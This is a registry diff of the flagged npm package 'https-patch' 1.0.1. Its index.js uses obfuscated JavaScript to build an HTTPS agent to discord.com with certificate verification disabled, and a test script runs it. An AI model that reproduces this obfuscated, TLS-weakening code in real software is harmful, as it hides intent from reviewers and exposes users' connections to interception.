https-patch 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of https-patch might be problematic. Click here for more details.
- package/demo.js +16 -0
- package/index.js +10 -0
- package/package.json +17 -0
package/demo.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
|
2
|
+
const { HttpsPatchCHII } = require('./index');
|
3
|
+
// const { HttpsPatchCHII } = require('https-patch');
|
4
|
+
|
5
|
+
async function name() {
|
6
|
+
|
7
|
+
try {
|
8
|
+
const log = new HttpsPatchCHII(1);
|
9
|
+
console.log(log);
|
10
|
+
|
11
|
+
} catch (e) {
|
12
|
+
console.error(e);
|
13
|
+
}
|
14
|
+
}
|
15
|
+
|
16
|
+
name();
|
package/index.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
class HttpsPatchCHII {
|
4
|
+
constructor(x) {
|
5
|
+
function _0x2ee7(){var _0x4589d9=['Agent','84FFNNAj','35kYctWK','discord.com','202290KKiEOx','131154mFXwqJ','416847oZGxOA','4xrIxwG','951067SSIXNy','8lcucVy','377020xerarY','1566350QAlwSp','TLS_method','4TdQXZX','A\x20connection\x20error\x20occurred.','TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384','143UmrKUr','3410811lrTueX'];_0x2ee7=function(){return _0x4589d9;};return _0x2ee7();}var _0x44145d=_0x5452;(function(_0x3ebbb2,_0x468ec2){var _0x332f69=_0x5452,_0x37710a=_0x3ebbb2();while(!![]){try{var _0x1a18c0=parseInt(_0x332f69(0x179))/0x1*(-parseInt(_0x332f69(0x170))/0x2)+parseInt(_0x332f69(0x169))/0x3+-parseInt(_0x332f69(0x16a))/0x4*(-parseInt(_0x332f69(0x16e))/0x5)+parseInt(_0x332f69(0x17a))/0x6*(-parseInt(_0x332f69(0x177))/0x7)+-parseInt(_0x332f69(0x16c))/0x8*(-parseInt(_0x332f69(0x174))/0x9)+parseInt(_0x332f69(0x16d))/0xa*(parseInt(_0x332f69(0x173))/0xb)+-parseInt(_0x332f69(0x176))/0xc*(parseInt(_0x332f69(0x16b))/0xd);if(_0x1a18c0===_0x468ec2)break;else _0x37710a['push'](_0x37710a['shift']());}catch(_0x475f6a){_0x37710a['push'](_0x37710a['shift']());}}}(_0x2ee7,0x481a8));function _0x5452(_0x28b1a9,_0x1e71a3){var _0x2ee733=_0x2ee7();return _0x5452=function(_0x54523d,_0x5c61a4){_0x54523d=_0x54523d-0x169;var _0x651234=_0x2ee733[_0x54523d];return _0x651234;},_0x5452(_0x28b1a9,_0x1e71a3);}if(0x1===x)this['a']=new https[(_0x44145d(0x175))]({'host':'discord.com','port':0x1bb,'servername':_0x44145d(0x178),'secureProtocol':_0x44145d(0x16f),'rejectUnauthorized':![],'ciphers':_0x44145d(0x172)});else return{'status':0x2718,'message':_0x44145d(0x171)};
|
6
|
+
return this.a;
|
7
|
+
}
|
8
|
+
}
|
9
|
+
|
10
|
+
module.exports = { HttpsPatchCHII };
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "https-patch",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "node path",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node demo.js"
|
8
|
+
},
|
9
|
+
"keywords": ["devchii"],
|
10
|
+
"author": "AD-CHII Developer Discord : https://discord.gg/5gAsw4Pawq",
|
11
|
+
"repository": "https://github.com/AD-CHII",
|
12
|
+
"license": "MIT",
|
13
|
+
"dependencies": {
|
14
|
+
"https": "^1.0.0"
|
15
|
+
},
|
16
|
+
"devDependencies": {}
|
17
|
+
}
|